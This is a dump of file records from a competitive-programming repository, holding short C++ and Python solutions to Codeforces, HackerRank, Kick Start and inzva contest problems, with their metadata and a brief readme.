"blob_id": "47798a80ead4339533ca4a0e261aa97ed932df77",
"content_id": "71c5ad0d8d8428ce2608248a06c3cca78f41d2d1",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 636,
"license_type": "no_license",
"max_line_length": 62,
"num_lines": 34,
"path": "/codeforces/1201/1201A.cpp",
"repo_name": "unauo/competitive-programming",
"src_encoding": "UTF-8",
"text": "// https://codeforces.com/contest/1201/problem/A\n\n#include <iostream>\n#include <string>\n#include <vector>\n#include <map>\n#include <utility>\n#include <algorithm>\n\nint main(){\n\tint n, m;\n\tint total = 0;\n\tstd::cin >> n >> m;\n\tstd::vector<int> pts(m);\n\tstd::vector< std::vector<int> > ans(m,std::vector<int>(5,0));\n\tfor (int i=0; i<n; i++){\n\t\tstd::string s;\n\t\tstd::cin >> s;\n\t\tfor (int j=0;j<m;j++){\n\t\t\tans[j][s[j]-'A']++;\n\t\t}\n\t}\n\tfor (int j=0;j<m;j++){\n\t\tstd::cin >> pts[j];\n\t}\n\tfor (int j=0; j<m; j++){\n\t\tint max = 0;\n\t\tfor (int i=0;i<5;i++){\n\t\t\tif (ans[j][i] > max) max = ans[j][i];\n\t\t}\n\t\ttotal += max * pts[j];\n\t}\n\tstd::cout << total;\n}"
},
{
"alpha_fraction": 0.5745526552200317,
"alphanum_fraction": 0.6163021922111511,
"avg_line_length": 21.909090042114258,
"blob_id": "bb53b5ce2888b506a6f05885a3e50db83c2cba3a",
"content_id": "597f7bccf41a0cc605bb1788827aaf06de2306e5",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 503,
"license_type": "no_license",
"max_line_length": 111,
"num_lines": 22,
"path": "/inzva acsc19/practice problems/pascalToTheDisco.cpp",
"repo_name": "unauo/competitive-programming",
"src_encoding": "UTF-8",
"text": "// https://www.hackerrank.com/contests/inzva-acsc-19-foundation-problems/challenges/pascal-take-us-to-the-disco\n\n#include <iostream>\n#define mod 1000000007\n\nlong long fastExp(long long n, long long k){\n\tif(k == 0) return 1;\n\tif(k == 1) return n;\n\tlong long temp = fastExp(n, k>>1);\n\tif((k&1) == 1) return (n * temp * temp) % mod;\n\treturn (temp * temp) % mod;\n}\n\nint main(){\n\tint t;\n\tlong long n;\n\tstd::cin >> t; \n\tfor(int i=0; i<t; i++){\n\t\tstd::cin >> n;\n\t\tstd::cout << fastExp(2,n)-1 << std::endl;\n\t}\n}"
},
{
"alpha_fraction": 0.5592417120933533,
"alphanum_fraction": 0.5900474190711975,
"avg_line_length": 18.227272033691406,
"blob_id": "76914c906f4af0aa87b2d1dc33af535e237c4b7c",
"content_id": "7f1d74e6eddeb3a36d316387f2e2a863a72f9991",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 422,
"license_type": "no_license",
"max_line_length": 69,
"num_lines": 22,
"path": "/inzva grand contest 2019/g.cpp",
"repo_name": "unauo/competitive-programming",
"src_encoding": "UTF-8",
"text": "// problems are not available online\n// scoreboard: https://algotester.com/en/Contest/ViewScoreboard/50195\n\n#include <string>\n#include <iostream>\n\nint main(){\n\tstd::string s;\n\tint n;\n\tstd::cin >> n;\n\tstd::cin >> s;\n\tint max = 0;\n\tint curmax = 1;\n\tint i = 0;\n\tfor(i=1;i<n;i++){\n\t\tif (s[i] == s[i-1]) curmax++;\n\t\telse curmax = 1;\n\t\tif (curmax >= max) max = curmax;\n\t}\n\tif (n == 1) std::cout << 0;\n\telse std::cout << n-max;\n}"
},
{
"alpha_fraction": 0.5174216032028198,
"alphanum_fraction": 0.5505226254463196,
"avg_line_length": 13.375,
"blob_id": "aaccdcc0ddd0919534a778f2a14654413f20a4ce",
"content_id": "fe777b8c3dacdcf94d5c3b76477af38db28d5fd3",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 574,
"license_type": "no_license",
"max_line_length": 68,
"num_lines": 40,
"path": "/inzva grand contest 2019/b.py",
"repo_name": "unauo/competitive-programming",
"src_encoding": "UTF-8",
"text": "# problems are not available online\n# scoreboard: https://algotester.com/en/Contest/ViewScoreboard/50195\n\nn = int(input())\nl = list(map(int,input().split()))\nod = []\nev = []\nfor i in l:\n\tif i%2==0:\n\t\tev.append(i)\n\telse:\n\t\tod.append(i)\n\nodd = len(od)\neve = len(ev)\nj = 0\nk = 0\nres = []\nif abs(odd-eve) > 1:\n\tprint(-1)\n\n\nelse:\n\tif odd > eve:\n\t\tfor i in range(n):\n\t\t\tif i%2 == 0:\n\t\t\t\tres.append(od[k])\n\t\t\t\tk+=1\n\t\t\telse:\n\t\t\t\tres.append(ev[j])\n\t\t\t\tj+=1\n\telse:\n\t\tfor i in range(n):\n\t\t\tif i%2 == 0:\n\t\t\t\tres.append(ev[k])\n\t\t\t\tk+=1\n\t\t\telse:\n\t\t\t\tres.append(od[j])\n\t\t\t\tj+=1\n\tprint(res)"
},
{
"alpha_fraction": 0.5056818127632141,
"alphanum_fraction": 0.5170454382896423,
"avg_line_length": 16.633333206176758,
"blob_id": "43658e0ec4e57ae92474b5bb94c397ed8956bc7b",
"content_id": "867cbc73c869ade320c7414fcf07725c54557ab9",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 528,
"license_type": "no_license",
"max_line_length": 51,
"num_lines": 30,
"path": "/codeforces/1207/1207A.cpp",
"repo_name": "unauo/competitive-programming",
"src_encoding": "UTF-8",
"text": "// // https://codeforces.com/contest/1207/problem/A\n\n#include <iostream>\n#include <algorithm>\n\nint main(){\n\tint t;\n\tstd::cin >> t;\n\tfor(int i=0;i<t;i++){\n\t\tint b,p,f,h,c;\n\t\tlong int profit;\n\t\tstd::cin >> b >> p >> f >> h >> c;\n\t\tint burgers = b/2;\n\t\tif (h>=c){\n\t\t\tif (burgers <= p)\n\t\t\t\tprofit = burgers*h;\n\t\t\telse {\n\t\t\t\tprofit = p*h + std::min(burgers-p, f)*c;\n\t\t\t}\n\t\t}\n\t\telse {\n\t\t\tif (burgers <= f)\n\t\t\t\tprofit = burgers*c;\n\t\t\telse {\n\t\t\t\tprofit = f*c + std::min(burgers-f, p)*h;\n\t\t\t}\n\t\t}\n\t\tstd::cout << profit << std::endl;\n\t}\n}"
},
{
"alpha_fraction": 0.4919044077396393,
"alphanum_fraction": 0.5073245763778687,
"avg_line_length": 23.961538314819336,
"blob_id": "837c1cefada0be45d0cd56aac10f72f281a7d915",
"content_id": "462b68e7bc9ffb1ac9da291ed241f7d18985ee8a",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1297,
"license_type": "no_license",
"max_line_length": 93,
"num_lines": 52,
"path": "/inzva acsc19/practice problems/clanWars.cpp",
"repo_name": "unauo/competitive-programming",
"src_encoding": "UTF-8",
"text": "// https://www.hackerrank.com/contests/inzva-acsc-19-foundation-problems/challenges/clan-wars\n\n#include <iostream>\n#include <queue>\n\nstd::vector< std::vector<long long int> > g;\nstd::vector <bool> visited;\nstd::vector <int> color;\nstd::queue <long long int> Q;\n\nvoid colorize(long long int root){\n Q.push(root);\n visited[root] = true;\n color[root] = 0;\n while (!Q.empty()){\n long long int u = Q.front();\n Q.pop();\n for (long long int i : g[u]){ \n if (!visited[i]){ \n visited[i] = true;\n color[i] = 1-color[u];\n Q.push(i);\n } \n } \n }\n}\n\nint main() {\n long long int n;\n long long int m;\n bool isBoring = false;\n std::cin >> n >> m;\n g.resize(n);\n color.resize(n,-1);\n visited.resize(n,false);\n for(long long int i=0;i<m;i++){\n long long int p1,p2;\n std::cin >> p1 >> p2;\n g[p1-1].push_back(p2-1);\n g[p2-1].push_back(p1-1);\n }\n for(long long int i=0;i<n;i++){\n if (!visited[i]) colorize(i);\n }\n for (long long int i=0;i<n;i++){\n for(long long int u : g[i]){\n if (color[i] == color[u]) isBoring = true;\n }\n }\n \n isBoring ? std::cout << \"Boring\" : std::cout << \"Fight will be awesome\";\n}"
},
{
"alpha_fraction": 0.48322147130966187,
"alphanum_fraction": 0.5033556818962097,
"avg_line_length": 23.86111068725586,
"blob_id": "da71e1e986a186657db83730c41c0f1e74ef75da",
"content_id": "4ab385524477f67568f02f2e7ff5d188ac2f105f",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 894,
"license_type": "no_license",
"max_line_length": 101,
"num_lines": 36,
"path": "/inzva acsc19/practice problems/compilerError.cpp",
"repo_name": "unauo/competitive-programming",
"src_encoding": "UTF-8",
"text": "// https://www.hackerrank.com/contests/inzva-acsc-19-foundation-problems/challenges/compilation-error\n\n#include <vector>\n#include <iostream>\n#include <queue>\n\nint main(){\n long int n,m;\n std::cin >> n >> m;\n std::vector< std::vector<int> > g(n);\n std::vector<long int> toposort;\n std::queue<long int> Q;\n std::vector<long int> incoming(n,0);\n for(long int i=0;i<m;i++){\n long int f1,f2;\n std::cin >> f1 >> f2;\n g[f1-1].push_back(f2-1);\n incoming[f2-1]++;\n }\n\n for(long int i=0;i<n;i++){\n if (incoming[i] == 0) Q.push(i);\n }\n long int count = 0;\n while (!Q.empty()){\n long int u = Q.front();\n Q.pop();\n count++;\n for (long int j : g[u]) {\n incoming[j]--;\n if (incoming[j] == 0) Q.push(j);\n }\n }\n if (count != n) std::cout << \"NO\";\n else std::cout << \"YES\";\n}"
},
{
"alpha_fraction": 0.5271186232566833,
"alphanum_fraction": 0.5474576354026794,
"avg_line_length": 16.382352828979492,
"blob_id": "7cc80a641594a50c9f9aa03d9307a4bab2fde1f2",
"content_id": "d51560ef026b0dd3df5ae18e1fcc4bc79cc5e3a5",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 590,
"license_type": "no_license",
"max_line_length": 48,
"num_lines": 34,
"path": "/codeforces/1203/1203E.cpp",
"repo_name": "unauo/competitive-programming",
"src_encoding": "UTF-8",
"text": "// https://codeforces.com/contest/1203/problem/E\n\n#include <iostream>\n#include <algorithm>\n#include <vector>\n\nint main(){\n\tlong int n;\n\tstd::cin >> n;\n\tstd::vector<long int> b(n);\n\tfor(long int i=0;i<n;i++) std::cin >> b[i];\n\tstd::sort(b.begin(),b.end());\n\tlong int max = 0;\n\tlong int unique = 0;\n\tfor(long int i=0;i<n;i++){\n\t\tif (b[i]<max) continue;\n\t\telse if (b[i]==max) {\n\t\t\tunique++;\n\t\t\tmax = b[i]+1;\n\t\t\tcontinue;\n\t\t}\n\t\telse if (b[i]==max+1) {\n\t\t\tunique++;\n\t\t\tmax = b[i];\n\t\t\tcontinue;\n\t\t}\n\t\telse if (b[i]>max+1){\n\t\t\tunique++;\n\t\t\tmax = b[i]-1;\n\t\t\tcontinue;\n\t\t}\n\t}\n\tstd::cout << unique;\n}"
},
{
"alpha_fraction": 0.5549549460411072,
"alphanum_fraction": 0.5729729533195496,
"avg_line_length": 23.130434036254883,
"blob_id": "aeb02dd8b07403d92f2cb598172053d4b4772470",
"content_id": "df3a46bd4250c93e33937c71ba486f50be6281b7",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 555,
"license_type": "no_license",
"max_line_length": 99,
"num_lines": 23,
"path": "/inzva acsc19/practice problems/brkSeq.cpp",
"repo_name": "unauo/competitive-programming",
"src_encoding": "UTF-8",
"text": "// https://www.hackerrank.com/contests/inzva-acsc-19-foundation-problems/challenges/buraks-sequence\n\n#include <iostream>\n\nlong int sumUpTo(long int* meanSeq, int index){\n\tlong int sum = 0;\n\tfor (int i=0;i<index;i++) sum += meanSeq[i];\n\treturn sum;\n}\n\nint main() {\n int n;\n std::cin >> n;\n long int meanSeq[n];\n long int seq[n];\n for(int i=0;i<n;i++) std::cin >> meanSeq[i];\n seq[0] = meanSeq[0];\n\tstd::cout << seq[0];\n for(int i=1;i<n;i++){\n \tseq[i] = (meanSeq[i]*(i+1)) - sumUpTo(seq, i);\n \tstd::cout << ' ' << seq[i];\n }\n}\n"
},
{
"alpha_fraction": 0.5439795255661011,
"alphanum_fraction": 0.5550811290740967,
"avg_line_length": 16.75757598876953,
"blob_id": "97991c65ebf0472ece0b58a1adf672f78bad225b",
"content_id": "c666c296da92099460e1d8c62877943edee7d1ca",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1171,
"license_type": "no_license",
"max_line_length": 55,
"num_lines": 66,
"path": "/codeforces/1201/1201C.cpp",
"repo_name": "unauo/competitive-programming",
"src_encoding": "UTF-8",
"text": "// https://codeforces.com/contest/1201/problem/C\n\n#include <iostream>\n#include <string>\n#include <vector>\n#include <map>\n#include <utility>\n#include <algorithm>\n\nint main(){\n\tlong int n;\n\tlong int nc = 0;\n\tlong long int k, median;\n\tlong long int kc;\n\tlong long int max = 0;\n\tstd::cin >> n >> k;\n\tkc = k;\n\tstd::vector<long long int> arr(n);\n\tstd::map<long long int,long int> map;\n\n\tfor(long int i=0;i<n;i++) {\n\t\tlong long int num;\n\t\tstd::cin >> num;\n\t\tif (num > max) max = num;\n\t\tmap[num]++;\n\t}\n\n\n\tfor(auto &i : map){\n\t\tif (nc+i.second < n/2+1) nc += i.second;\n\t\telse {\n\t\t\tmedian = i.first;\n\t\t\ti.second = i.second - (n/2-nc);\n\t\t\tbreak;\n\t\t}\n\t}\n\n\tstd::pair<long long int,long int> prev;\n\tfor (auto &i : map) {\n\t\tif (i.first <= median) {\n\t\t\tprev = i;\n\t\t\tcontinue;\n\t\t}\n\t\telse if (prev.first == median) {\n\t\t\tif (i.second) {\n\t\t\t\tif (kc - (prev.second)*(i.first-prev.first) >= 0) {\n\t\t\t\t\tkc -= (prev.second)*(i.first-prev.first);\n\t\t\t\t\ti.second = i.second + prev.second;\n\t\t\t\t\tprev.second = 0;\n\t\t\t\t\tmedian = i.first;\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\tprev = i;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t\tprev = i;\n\t\t}\n\t}\n\n\tif (kc) median += kc/map[median];\n\n\tif (n==1) median = max + k;\n\n\tstd::cout << median;\n}"
},
{
"alpha_fraction": 0.5448718070983887,
"alphanum_fraction": 0.5726495981216431,
"avg_line_length": 19.39130401611328,
"blob_id": "990174a1e1688ff55a5cff8f1a654cc3f1251919",
"content_id": "ac6a9422b378f0b8d4af3cf8478995baebbfa2fd",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 468,
"license_type": "no_license",
"max_line_length": 130,
"num_lines": 23,
"path": "/inzva acsc19/qualification contest/i.cpp",
"repo_name": "unauo/competitive-programming",
"src_encoding": "UTF-8",
"text": "// https://www.hackerrank.com/contests/inzva-algorithm-competition-summer-camp-2019-qualification/challenges/single-letter-strings\n\n#include <iostream>\n#include <string>\n\nint main(){\n\tstd::string s;\n\tstd::cin >> s;\n\tint l = s.length();\n\tint cc = 1;\n\tlong int ss = 0;\n\tchar pivot = s[0];\n\tfor (int i=1; i<l; i++) {\n\t\tif (s[i] == pivot) cc++;\n\t\telse {\n\t\t\tss += ((cc*(cc+1))/2);\n\t\t\tcc = 1;\n\t\t\tpivot = s[i];\n\t\t} \n\t}\n\tss += ((cc*(cc+1))/2);\n\tstd::cout << ss << std::endl;\n}"
},
{
"alpha_fraction": 0.38650307059288025,
"alphanum_fraction": 0.5015337467193604,
"avg_line_length": 17.657142639160156,
"blob_id": "1e7e509869afed86d770a0c53f878de7d87ca142",
"content_id": "201d4088f233c4dacf4d77a7ca5ed72aeb5b6f02",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 652,
"license_type": "no_license",
"max_line_length": 70,
"num_lines": 35,
"path": "/codeforces/1183/1183A.cpp",
"repo_name": "unauo/competitive-programming",
"src_encoding": "UTF-8",
"text": "// https://codeforces.com/contest/1183/problem/A\n\n#include <iostream>\n\n\nint giveA(int a){\n\tint aH = a/100; //9\n\tint aT = (a-aH*100)/10; //9\n\tint aO = a-((a/10)*10);\t// 9\n\tint total = aH+aT+aO;\t\n\twhile (total%4) {\n\t\ta+=1;\n\t\taH = a/100; //1\n\t\taT = (a-aH*100)/10; //0\n\t\taO = a-((a/10)*10);\t\t//0\n\t\ttotal = aH+aT+aO; //1\n\t}\n\treturn a;\n}\n\n\nint main(){\n\tint a;\n\tstd::cin >> a;\n\tif (a == 1000 || a == 999 || a == 998 || a == 997) std::cout << 1003;\n\telse if (a == 999) std::cout << 1003;\n\telse {\n\t\tint aH = a/100;\n\t\tint aT = (a-aH*100)/10;\n\t\tint aO = a-((a/10)*10);\n\t\tint total = aH+aT+aO;\n\t\tif (total%4 == 0) std::cout << a;\n\t\telse std::cout << giveA(a);\n\t}\n}"
},
{
"alpha_fraction": 0.42099055647850037,
"alphanum_fraction": 0.4728773534297943,
"avg_line_length": 19.658536911010742,
"blob_id": "fc9dd2a3ac43840aa68f64299028749d118068a8",
"content_id": "89f009b116024d4c78ede630762a6726a67bc75b",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 848,
"license_type": "no_license",
"max_line_length": 94,
"num_lines": 41,
"path": "/google kick start/2019 round c/a.cpp",
"repo_name": "unauo/competitive-programming",
"src_encoding": "UTF-8",
"text": "// https://codingcompetitions.withgoogle.com/kickstart/round/0000000000050ff2/0000000000150aac\n\n#include <iostream>\n#include <string>\n#include <vector>\n\n\nint main (){\n\tint tests;\n\tint t,i;\n\tint n,r,c,sr,sc;\n\tstd::cin >> tests;\n\tfor (t=0; t<tests; t++){\n\t\tstd::string s;\n\t\tstd::cin >> n >> r >> c >> sr >> sc;\n\t\tstd::cin >> s;\n\t\tint x = sr-1;\n\t\tint y = sc-1;\n\t\tstd::vector<std::vector<bool> > grid(r, std::vector<bool> (c,0));\n\t\tgrid[x][y] = 1;\n\t\tfor (i=0; i<n; i++) {\n\t\t\tif (s[i]=='N') {\n\t\t\t\twhile (grid[x][y]) x-=1;\n\t\t\t\tgrid[x][y] = 1;\n\t\t\t}\n\t\t\tif (s[i]=='S') {\n\t\t\t\twhile (grid[x][y]) x+=1;\n\t\t\t\tgrid[x][y] = 1;\n\t\t\t}\n\t\t\tif (s[i]=='W') {\n\t\t\t\twhile (grid[x][y]) y-=1;\n\t\t\t\tgrid[x][y] = 1;\n\t\t\t}\n\t\t\tif (s[i]=='E') {\n\t\t\t\twhile (grid[x][y]) y+=1;\n\t\t\t\tgrid[x][y] = 1;\n\t\t\t}\n\t\t}\n\t\tstd::cout << \"Case #\" << t+1 << \": \" << x+1 << \" \" << y+1 << std::endl;\n\t}\n}\n\n"
},
{
"alpha_fraction": 0.6153846383094788,
"alphanum_fraction": 0.6461538672447205,
"avg_line_length": 18.117647171020508,
"blob_id": "af8b94f64d61d509ee85b9f57def982b22d9daeb",
"content_id": "32a731504924fc4b962b3e8e1770e262b2eeb0b3",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 325,
"license_type": "no_license",
"max_line_length": 68,
"num_lines": 17,
"path": "/inzva grand contest 2019/c.py",
"repo_name": "unauo/competitive-programming",
"src_encoding": "UTF-8",
"text": "# does not work \n# problems are not available online\n# scoreboard: https://algotester.com/en/Contest/ViewScoreboard/50195\n\nn = int(input())\nl = set(list(map(int,input().split())))\nflag = True\nif 1 in l and len(l) == 2:\n\tflag = False\nelif len(l) == 1:\n\tflag = False\nif flag:\n\tres = n+1\nelse:\n\tres = max(l) + n - 1\n\nprint(res)\n"
},
{
"alpha_fraction": 0.483091801404953,
"alphanum_fraction": 0.5132850408554077,
"avg_line_length": 24.90625,
"blob_id": "369e0ad9bbd546092873ba71ce69e3931b991e52",
"content_id": "771c2598fea8d4c5e511c06cdfa21f1b69441acc",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 828,
"license_type": "no_license",
"max_line_length": 106,
"num_lines": 32,
"path": "/inzva acsc19/practice problems/2lazy2writeStory.cpp",
"repo_name": "unauo/competitive-programming",
"src_encoding": "UTF-8",
"text": "// https://www.hackerrank.com/contests/inzva-acsc-19-foundation-problems/challenges/2-lazy-2-write-a-story\n\n#include <iostream>\n#include <algorithm>\n#define mod 1000000009\n\nlong long fastExp(long long n, long long k){\n if(k == 0) return 1;\n if(k == 1) return n;\n long long temp = fastExp(n, k>>1);\n if((k&1) == 1) return (n * temp * temp) % mod;\n return (temp * temp) % mod;\n}\n\nint main(){\n int t;\n long long n;\n std::cin >> t; \n for(int i=0; i<t; i++){\n std::cin >> n;\n long long arr[n];\n long long e;\n for(long long j=0;j<n;j++) {\n std::cin >> e;\n arr[j] = fastExp(3,fastExp(2,e));\n\n }\n std::sort(arr, arr+n);\n for(long long &e:arr) std::cout << e << \" \";\n if (i!=t-1) std::cout << std::endl << \"--\" << std::endl;\n }\n}"
},
{
"alpha_fraction": 0.6377952694892883,
"alphanum_fraction": 0.6587926745414734,
"avg_line_length": 21.47058868408203,
"blob_id": "67613dacef3312e17064036c1c9879f6acfb4a65",
"content_id": "38bc4b454ae81abe7187142cf21bd35e351338a5",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 381,
"license_type": "no_license",
"max_line_length": 143,
"num_lines": 17,
"path": "/inzva acsc19/qualification contest/g.cpp",
"repo_name": "unauo/competitive-programming",
"src_encoding": "UTF-8",
"text": "// https://www.hackerrank.com/contests/inzva-algorithm-competition-summer-camp-2019-qualification/challenges/yet-another-secret-service-problem\n\n#include <iostream>\n\nint main(){\n\tint n;\n\tlong long int hands = 0;\n\tint prev = 0;\n\tint curr;\n\tstd::cin >> n;\n\tfor (int i=0;i<n;i++){\n\t\tstd::cin >> curr;\n\t\tif (curr-prev >= 0) hands += curr-prev;\n\t\tprev = curr;\n\t}\n\tstd::cout << hands; \n}"
},
{
"alpha_fraction": 0.5061058402061462,
"alphanum_fraction": 0.5332428812980652,
"avg_line_length": 17,
"blob_id": "549ff6fa2fec9c0200d6f27bb696fc4ff3499464",
"content_id": "f8b7365072e26cddf06a56e98f1f794d44aae6cc",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 737,
"license_type": "no_license",
"max_line_length": 104,
"num_lines": 41,
"path": "/codeforces/1095/1095B.cpp",
"repo_name": "unauo/competitive-programming",
"src_encoding": "UTF-8",
"text": "// https://codeforces.com/contest/1095/problem/B\n\n#include <iostream>\n#include <climits>\n#include <vector>\n#include <algorithm>\n \nint main(){\n \n\tint n;\n\tint t;\n\tstd::vector<int> arr;\n\tint max = INT_MIN;\n\tint oldmax = INT_MIN;\n\tint min = INT_MAX;\n\tint oldmin = INT_MAX;\n \n\tstd::cin >> n;\n \n\tfor (int i=0; i<n; i++) {\n\t\tstd::cin >> t;\n\t\tarr.push_back(t);\n\t}\n \n\tstd::sort(arr.begin(), arr.end());\n \n\tif (n <= 2) std::cout << 0;\n \n\telse if (n == 3) {\n\t\t((arr[1]-arr[0]) < (arr[2]-arr[1])) ? (std::cout << (arr[1]-arr[0])) : (std::cout << (arr[2]-arr[1]));\n\t}\n\t\n\telse {\n\t\tmax = arr[n-1];\n\t\toldmax = arr[n-2];\n\t\tmin = arr[0];\n\t\toldmin = arr[1];\n \n\t\t((max-oldmin) <= oldmax-min) ? (std::cout << (max-oldmin)) : (std::cout << (oldmax-min));\n\t}\n}"
},
{
"alpha_fraction": 0.47893568873405457,
"alphanum_fraction": 0.49778270721435547,
"avg_line_length": 20.5,
"blob_id": "9af3a6b2de2c6ca03f1648c3c65bb5bcd40ceeeb",
"content_id": "fd0950c08c4298c9b5c29e03516acd6a3ff2f7e9",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 902,
"license_type": "no_license",
"max_line_length": 70,
"num_lines": 42,
"path": "/codeforces/1203/1203A.cpp",
"repo_name": "unauo/competitive-programming",
"src_encoding": "UTF-8",
"text": "// https://codeforces.com/contest/1203/problem/A\n\n#include <iostream>\n#include <vector>\n\nint main(){\n\tint t;\n\tint n;\n\tstd::cin >> t;\n\tfor(int i=0;i<t;i++){\n\t\tstd::cin >> n;\n\t\tint first, second;\n\t\tstd::cin >> first;\n\t\tbool flag = false;\n\t\tif (n!=1) {\n\t\t\tstd::cin >> second;\n\t\t\tif (first+1 == second || (first==n && second==1)){\n\t\t\t\tfirst = second;\n\t\t\t\tfor (int j=2;j<n;j++) {\n\t\t\t\t\tstd::cin >> second;\n\t\t\t\t\tif (!(first+1 == second || (first==n && second==1))) flag = true;\n\t\t\t\t\tfirst = second;\n\t\t\t\t}\n\t\t\t}\n\t\t\telse if (first == second+1 || (first==1 && second==n)){\n\t\t\t\tfirst = second;\n\t\t\t\tfor (int j=2;j<n;j++) {\n\t\t\t\t\tstd::cin >> second;\n\t\t\t\t\tif (!(first == second+1 || (first==1 && second==n))) flag = true;\n\t\t\t\t\tfirst = second;\n\t\t\t\t}\n\t\t\t}\n\t\t\telse {\n\t\t\t\tflag = true;\n\t\t\t\tfor (int j=2;j<n;j++) std::cin >> second;\n\t\t\t}\n\t\t}\n\t\t\n\t\tflag ? std::cout << \"NO\" : std::cout << \"YES\";\n\t\tstd::cout << std::endl;\n\t}\n}"
},
{
"alpha_fraction": 0.4166666567325592,
"alphanum_fraction": 0.49346405267715454,
"avg_line_length": 12.931818008422852,
"blob_id": "0a51ea09b0a477df607e084671175bf22264c8f5",
"content_id": "1fb7dbd953c9fe9ec99f0f6fa4d8417708914ed9",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 612,
"license_type": "no_license",
"max_line_length": 48,
"num_lines": 44,
"path": "/codeforces/1087/1087A.cpp",
"repo_name": "unauo/competitive-programming",
"src_encoding": "UTF-8",
"text": "// https://codeforces.com/contest/1087/problem/A\n\n#include <iostream> \n#include <string>\n#include <algorithm>\n \nint main(){\n\tstd::string s;\n\tstd::cin >> s;\n\tsize_t l = s.length();\n\tstd::string o;\n\tstd::string n1;\n\tstd::string n2;\n \n\t//std::cout << o;\n\t\n\tif (l%2 == 1){\n\t\tint i1 = l/2;\n\t\tint i2 = l/2;\n\t\twhile (i1>=0){\n\t\t\tn1 = s[i1];\n\t\t\tn2 = s[i2];\n\t\t\to.append(n2);\n\t\t\tif (i1 != i2) o.append(n1);\n\t\t\ti1 = i1-1;\n\t\t\ti2 = i2+1;\n\t\t}\n\t}\n \n\telse {\n\t\tint i1 = l/2 -1;\n\t\tint i2 = l/2;\n\t\twhile (i1>=0){\n\t\t\tn1 = s[i1];\n\t\t\tn2 = s[i2];\n\t\t\to.append(n1);\n\t\t\to.append(n2);\n\t\t\ti1 = i1-1;\n\t\t\ti2 = i2+1;\n\t\t}\n\t}\n \n\tstd::cout << o;\n}"
},
{
"alpha_fraction": 0.744966447353363,
"alphanum_fraction": 0.744966447353363,
"avg_line_length": 28.799999237060547,
"blob_id": "72ec2bbee487ce488a06ab4e39cd02b4295ad54a",
"content_id": "2987e029f08096a50961fceaaaf56c785e74b3d9",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 149,
"license_type": "no_license",
"max_line_length": 88,
"num_lines": 5,
"path": "/readme.md",
"repo_name": "unauo/competitive-programming",
"src_encoding": "UTF-8",
"text": "# competitive programming\nnever heard before? click [here](https://en.wikipedia.org/wiki/Competitive_programming).\n\n## but... why?\nbecause it's fun.\n"
},
{
"alpha_fraction": 0.47791165113449097,
"alphanum_fraction": 0.5341365337371826,
"avg_line_length": 19.83333396911621,
"blob_id": "f4842fa6b1e910f7ed84df737f4a299a84d3878e",
"content_id": "21e0060e73589f0c8a2e425034e26224fdc408d7",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 249,
"license_type": "no_license",
"max_line_length": 48,
"num_lines": 12,
"path": "/codeforces/1191/1191A.cpp",
"repo_name": "unauo/competitive-programming",
"src_encoding": "UTF-8",
"text": "// https://codeforces.com/contest/1191/problem/A\n\n#include <iostream>\n\nint main(){\n\tint x;\n\tstd::cin >> x;\n\tif (x%4 == 1) std::cout << \"0 A\";\n\telse if (x%4 == 3) std::cout << \"2 A\";\n\telse if (x%4 == 2) std::cout << \"1 B\";\n\telse std::cout << \"1 A\";\n}"
},
{
"alpha_fraction": 0.5308057069778442,
"alphanum_fraction": 0.5592417120933533,
"avg_line_length": 15.307692527770996,
"blob_id": "ecc810819e61e9dc0d526fa29cc21eb54556bb81",
"content_id": "3fe7034414ebff926d2e6c8d3b6a9137217f6b8d",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 211,
"license_type": "no_license",
"max_line_length": 48,
"num_lines": 13,
"path": "/codeforces/1194/1194A.cpp",
"repo_name": "unauo/competitive-programming",
"src_encoding": "UTF-8",
"text": "// https://codeforces.com/contest/1194/problem/A\n\n#include <iostream>\n\nint main(){\n\tint t;\n\tstd::cin >> t;\n\tfor (int i=0;i<t;i++){\n\t\tlong long int n,x;\n\t\tstd::cin >> n >> x;\n\t\tstd::cout << 2*x << std::endl;\n\t}\n}"
},
{
"alpha_fraction": 0.5629251599311829,
"alphanum_fraction": 0.5833333134651184,
"avg_line_length": 23.45833396911621,
"blob_id": "3b1cf28a130b5350264f0634c7459641b9761e38",
"content_id": "22d8ef5ff295450d3c399eee11e6e8ee119f4e9b",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 588,
"license_type": "no_license",
"max_line_length": 127,
"num_lines": 24,
"path": "/inzva acsc19/qualification contest/d.cpp",
"repo_name": "unauo/competitive-programming",
"src_encoding": "UTF-8",
